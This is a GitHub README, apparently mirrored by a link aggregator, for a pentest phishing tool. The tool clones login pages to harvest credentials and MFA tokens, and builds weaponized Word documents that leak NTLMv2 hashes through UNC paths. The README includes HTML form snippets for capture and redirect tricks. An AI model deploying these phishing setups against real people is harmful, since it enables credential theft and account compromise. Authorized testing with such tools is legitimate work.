51

GitHub - curtbraz/Phishing-API: Easy Web Deployment API for Phishing During Pent...

 5 years ago
source link: https://github.com/curtbraz/Phishing-API
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

README.md

Phishing-API

This API has two main features. One allows you to easily deploy cloned landing pages for credential stealing and the other feature is weaponized Word doc creation. Both are integrated into Slack for real-time alerting. I'm currently running this same code for those that don't want to implement their own environment as a free service @ https://phishapi.com!

Update

I've added support for MS Word document generation. Now, simply go to the API to create your payload, email it off, and wait for the Slack notification. It automatically includes a UNC path back as well (as does the Phishing Portal feature) so if you're running Responder in a background session you can capture NTLMv2 hashes and be notified via Slack! Support for weaponizing your own Word doc templates is built in. Just upload an existing doc and download it again to hook it. You can also choose to use Basic Auth which prompts the user for credentials, just like Phishery does!

To Setup :

  1. Import the DB SQL Dump Schema to a new MySQL Instance mysql -u root -h localhost < DatabaseSQLDump.sql;

  2. Host the PHP from a web service (Apache, Nginx, IIS, etc)

  3. Configure config.php variables

  4. Limit Access to the "Results" Directory (Apache's Basic Auth is Recommended)

  5. Use SSL and a Domain for the Hosted API

  6. Add your web service account to /etc/sudoers (www-data for apache)

  7. Optionally run Responder and BeEF in a screen session and import the crontab file

1) To Use the API for Capturing Credentials from Fake Sites :

Rapid & Easy Deployment API for Phishing During Pentest Engagements. Output to MySQL/Web Table & Slack Bot. Supports BEEF Hooking & HaveIBeenPwned!

68747470733a2f2f692e696d6775722e636f6d2f36525450456c482e706e67
Figure 1: Choose "Fake Portal" From API Options

68747470733a2f2f692e696d6775722e636f6d2f624c79757465472e706e67
Figure 2: Choose a Pre-Designed Generic Portal for Landing Page

68747470733a2f2f692e696d6775722e636f6d2f5639474f435a392e706e67
Figure 3: Fill Out API Details for Landing Page HTML and Optionally Include Your Own Logo

68747470733a2f2f692e696d6775722e636f6d2f344d44376b71352e706e67
Figure 4: Download Automatically Created Source HTML to Host on a Standalone Server

68747470733a2f2f692e696d6775722e636f6d2f7163437a61516c2e706e67
Figure 5: The Hosted Site's Contents

OR

If you don't wish to use a pre-populated landing page template, feel free to create or clone your own. Just add the following HTML tags to leverage the API for alerting and credential capturing :

  1. Point your HTML Form to https://YOUR-API-HERE

    <FORM METHOD="POST" ACTION="https://YOUR-API-HERE">

  2. Make sure the following authentication fields are set

    <INPUT NAME="username">

    <INPUT NAME="password">

    <INPUT NAME="token"> (OPTIONAL MFA FIELD)

  3. Add hidden input fields for the name of the project and the URL the users should be redirected to after submitting their credentials to you (Recommend Legitimate Login Location - For Best Results Use a Clickjacking Vulnerable URL That Allows iframes)

    <INPUT NAME="project" VALUE="My_Project_Here" TYPE="hidden">

    <INPUT NAME="redirect" VALUE="https://site_to_redirect_to" TYPE="hidden">

  4. Optionally include hidden input fields for altering the Slack bot's behavior (Name and Emoji)

    <INPUT NAME="slackbotname" VALUE="PhishBot" TYPE="hidden">

    <INPUT NAME="slackemoji" VALUE=":fishing_pole_and_fish:" TYPE="hidden">

  5. Sit back and wait for the Slack bot to notify you. When you want to see the credentials visit https://YOUR-API-HERE/results using your basic auth credentials or click the link in the Slack notification.

68747470733a2f2f692e696d6775722e636f6d2f4c387959524d512e706e67
Figure 6: Someone Entered Credentials into the Fake Portal - Slack Alert

68747470733a2f2f692e696d6775722e636f6d2f6f5879396445452e706e67
Figure 7: BeEF Hook Slack Alert (Optional in Case You Want to React Quickly w/ Modules)

68747470733a2f2f692e696d6775722e636f6d2f436353773454542e706e67
Figure 8: Captured NTLMv2 Hash Exposed via Browser

68747470733a2f2f692e696d6775722e636f6d2f326179695252572e706e67
Figure 9: Clicking the Slack Link Allows Viewing Credentials





2) To Use the API for Generating Word Doc Payloads :

  1. Modify /phishingdocs/index.php to include your Slack Webhook parameters

  2. Create /var/www/uploads Path and make sure your web user has sudoers access

  3. Browse out to YOUR_URL.com and select "Weaponized Documents" to generate your DOCX

  4. Optionally set up Responder in a background process and run phishinghashes.sh every minute or so with cron

  5. Set up your php.ini to allow uploads of at least 15MB and enable browsecap.ini for parsing UserAgent strings, otherwise some functionality may be limited.

  6. Email your doc and wait for the Slack alerts!

Bonus points if you use your docs as honeypot bait! :)



68747470733a2f2f692e696d6775722e636f6d2f4c573442556a4e2e706e67
Figure 1: Web Based Payload Generation - Create New Doc or Upload Existing w/ Payload Options



68747470733a2f2f692e696d6775722e636f6d2f6f6e73507946702e706e67
Figure 2: Opening Document Generated (New) by Service



68747470733a2f2f692e696d6775722e636f6d2f7377384a5751452e706e67
Figure 3: If "Auth Prompt" if Selected in Payload Options, Display Basic Auth Prompt to User for Credential Capturing (like Phishery)



68747470733a2f2f692e696d6775722e636f6d2f486c59335434472e706e67
Figure 4: HTTP Beacon is Selected by Default and Alerts When the Target Opens the Document



68747470733a2f2f692e696d6775722e636f6d2f6b753655544e492e706e67
Figure 5: If Credentials are Entered from Figure 3 Above, Notify via Slack When Captured



68747470733a2f2f692e696d6775722e636f6d2f4f4f30736a44522e706e67
Figure 6: Clicking on the Slack Alert Displays Captured Details (Hashes, Credentials, Client Details)



68747470733a2f2f692e696d6775722e636f6d2f715a46476d58412e706e67
Figure 7: Slack Alert when UNC/SMB Hashes are Received from Word Document



Currently, I'm running Responder in a Screen session with phishinghashes.sh scheduled via Cron to run every minute to pick up hashes, correlate phished users, and alert via Slack. You can also relay those hashes with another tool if you'd like to take things even further. Enjoy! :)


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK